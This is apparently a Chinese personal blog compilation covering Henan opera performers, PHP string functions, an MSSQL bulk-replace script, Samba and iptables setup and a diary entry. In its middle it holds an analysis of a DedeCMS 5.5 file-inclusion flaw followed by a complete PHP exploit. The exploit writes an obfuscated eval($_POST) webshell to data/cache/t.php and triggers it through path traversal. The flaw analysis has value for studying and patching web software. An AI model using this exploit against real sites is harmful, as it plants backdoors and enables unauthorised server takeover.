嘿嘿,跟超哥去虞城玩,认识了这两位老哥赵辉和朱坤芳,赵辉被人称为红脸怪五,而朱坤芳被人称为红脸王,虽然我对戏曲不是很懂,不过不管在戏台上还是饭桌上,两位老哥哥给我的感觉都是非常的好,对戏曲的非常的热爱,非常的义气,和蔼好相处。。。
嘿嘿,偶帮他们去发了一下百度的词条。。

赵辉:豫剧红脸王第三代传人,杨启超的弟子,被人誉为豫东红脸怪王。演唱剧目:⑴、《反徐州》【堂口】一折;⑵、《火烧纪信》一折。
赵辉。人送外号:红脸怪王。河南虞城人,国家一级演员。豫东唐门第三代传人,杨启超亲传弟子。曾在1990年商丘地区汇演中演唱(反徐州)获得一等奖。
现在,河南省‘红脸王’豫剧团担任主要演员。
所谓人怪艺更怪,精彩真不赖,行韵流水情,舞台展异彩

朱坤芳:八大豫剧红脸王之称的青年演员,唐玉成的三代传人,杨启超弟子。演唱剧目:⑴、《两狼山》选段;⑵、和曹君秋联合演出《刘庸下南京》【抢棺材】一折。
朱坤芳出身于梨园之家,他的父亲朱瑞杰先生就是当年红脸王唐玉成教导的弟子。朱坤芳毕业于商丘戏校,自幼就开始和红脸王开山鼻祖唐玉成大师的大弟子奶师李克让学习,后来到红脸王唐玉成的虞城县豫剧团拜师杨启超.最后,又和"白三""白四"学习发音唱腔,行成独特的风韵,如他在<杨家将>中的唱段在他老师杨启超的基础上又加以创新:发出大本和二本强强结合,从而形成了独特的韵味。他的<火烧纪信>< 泗水王>< 哭头>< 反徐州> 等这些哭戏更是精妙绝伦。
朱坤芳是 红脸王祖师唐玉成的三代传人, 杨启超是老师, 李克让是奶师.
唐门最有名气的二代传人是这些:杨启超  刘玉龙 朱勤堂 潘玉成 汪振堂 白三 白四 李克让 等。

PHP 中由于数组和字符串这两种变量类型是如此常用,以至于 PHP 具有两个函数,可以在字符串和数组之间互相进行转换。
  $array=explode(separator,$string);
  $string=implode(glue,$array);
  使用和理解这两个函数的关键之处是分隔符(separator)和胶合符(glue)关系。当把一个数组转换成一个字符串时,将会设置胶合符——将被插入到生成字符串中的数组值之间的字符或代码。相反,当把字符串转换成数组时,要指定分隔符,它用于标记什么应该变成独立数组元素。例如,以字符串开始:
  $s1=’Mon-Tue-Wed-Thu-Fri’;
  $days_array=explode(’-',$s1);
  $days_array 变量现在是一个有5个元素的数组,其元素 Mon 的索引为0,Tue 的索引为1,等等。
  $s2=implode(’,',$days_array);
  $s2 变量现在是一个用逗号分隔的一个星期中各天的列表:Mon,Tue,Wed,Thu,Fri

EMFB7
支付总价: $7.49美元+0.18税 = $7.67美元
到期时间:未知

mssql批量替换整个数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
declare @Str1 varchar(8000)
SET @Str1='参数1'
declare @Str2 varchar(8000)
SET @Str2='参数2'
 
 
SET nocount ON
 
 
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
 
 
SET @iResult=0
declare cur cursor FOR
SELECT name,id FROM sysobjects WHERE xtype='U'
 
 
open cur
fetch next FROM cur INTO @tableName,@tbID
 
 
while @@fetch_status=0
begin
declare cur1 cursor FOR
        --xtype in (231,167,239,175,99) 为char,varchar,nchar,nvarchar,ntext类型
        SELECT name FROM syscolumns WHERE xtype IN (231,167,239,175,99) AND id=@tbID
open cur1
fetch next FROM cur1 INTO @columnName
while @@fetch_status=0
begin
      SET @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@Str1+''','''+@Str2+''') where ['+@columnName+'] like ''%'+@Str1+'%''' 
      --update tablename set fieldA=replace(cast(fieldA as varchar(8000)) ,'aa','bb')这样的语句。
      exec sp_executesql @sql     
      SET @iRow=@@rowcount
      SET @iResult=@iResult+@iRow
      IF @iRow>0
      begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end     
      fetch next FROM cur1 INTO @columnName
 
 
 
end
close cur1
deallocate cur1
 
 
fetch next FROM cur INTO @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'
 
 
close cur
deallocate cur
SET nocount off

作者:st0p
转载请注明出处 http://www.st0p.org

老早就看到有人发的洞,一直想过写分析来着,最近一直呆在UBUNTU下安装东西。。老忘。。。
有时有些朋友加我,教他找洞。。。这个好似是个累活,而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧,也方便我自己学习。
具体的EXP,请看:http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html

以前呢,DEDECMS会把出错的SQL信息,写进mysql_error_trace.php,后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。

这个EXP的原理呢,是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc,当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。
关键代码存在于

/include/datalistcp.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
//通过isset函数检查$needCode是否已配置,如已配置则结果为$needCode,否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
 
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 //后缀是.inc
}
//检查文件是否存在,存在则包含。我们通过../成功跳转到到data目录,包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
...

郁闷,前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补

1
2
3
4
5
6
7
8
9
10
11
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
 
$codefile = preg_replace("/[\w-]/", '', $codefile);
 //通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
 
{
 
	require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
 
}

来源于互联网,具体作者不详。看到好久了,一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个,先发一下记录。有空分析,官方已修补。。

执行成功会在data/cache下生成t.php一句话小马
密码x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+   
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
 
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
 
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
 
if(substr($content,9,3)=='200'){
    echo "\nShell Address is:".$host.$path.$shell;
}else{
    echo "\nError.";
}
function get_send($url){
    global $host, $path;
    $message = "GET ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
 
}
function post_send($url,$cmd){
 
    global $host, $path;
    $message = "POST ".$path."$url  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    if(!$fp){
        echo "\nConnect to host Error";
    }
    fputs($fp, $message);
 
    $back = '';
 
    while (!feof($fp))
        $back .= fread($fp, 1024);
    fclose($fp);
    return $back;
}
?>

要禁止这些图标在桌面上的显示,请按如下方法操作:

1. 应用程序->系统工具->配置编辑器(gconf-editor),如果应用程序没有,可以试试直接终端运行sudo gconf-editor

2. 找到 /apps/nautilus/desktop/volumes_visible 设置为 FALSE (单击即可)

Ubuntu下Samba服务器

Samba软件包的安装
在Ubuntu的终端中输入一下命令:
sudo apt-get install samba
sudo apt-get install smbclient

Samba服务器的常用命令
开启Samba服务
sudo /etc/init.d/samba start
关闭Samba服务
sudo /etc/init.d/samba stop
重启Samba服务
sudo /etc/init.d/samba restart

嘿嘿,由于st0p只是架设起来方便虚拟机访问我的物理硬盘的数据。所以只是简单的添加了任何人都可以访问并可写的共享。

sudo gedit /etc/samba/smb.conf

修改
# security = user

security = share

以下内容加入未尾

[D]
path=/media/sda5
public=yes
writable=yes

[E]
path=/media/sda6
public=yes
writable=yes

[F]
path=/media/sda7
public=yes
writable=yes

[G]
path=/media/sda8
public=yes
writable=yes

[D]为共享名字
path后面的是共享路径

保存一下,然后我们输入sudo /etc/init.d/samba restart
然后我们在虚拟机中就可以通过\\IP访问了

CentOS 防火墙配置 80端口

在虚拟机的CENTOS装好APACHE不能用,郁闷,解决方法如下

/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT
/sbin/iptables -I INPUT -p tcp --dport 22 -j ACCEPT

然后保存:
/etc/rc.d/init.d/iptables save

这样重启计算机后,防火墙默认已经开放了80和22端口

这里应该也可以不重启计算机:
/etc/init.d/iptables restart

防火墙的关闭,关闭其服务即可:

查看防火墙信息:
/etc/init.d/iptables status

关闭防火墙服务:
/etc/init.d/iptables stop

永久关闭?不知道怎么个永久法:
chkconfig –level 35 iptables off

运气很不好

唉,最近右眼又开始跳了,每次这个时候一定没什么好事发生吧...

前两天家里租出去的老房子外面的两个电表被别人砸坏了,打了110,好似没啥效果...小失望一下...

手上碰了碰了两三处小伤口,因为一些事和老婆吵了一架,还有N多郁闷的事情..

今天我亲爱的老奶奶也去世了,希望她能够安息,在天国过的一切都好!

本来是打了很多字的,后来想想还是删掉吧,写的太乱了....

人这一辈子活着,生不带来,死不带去.开心也是过,伤心也是过,我是不是活的太累了,是不是该改变一下了?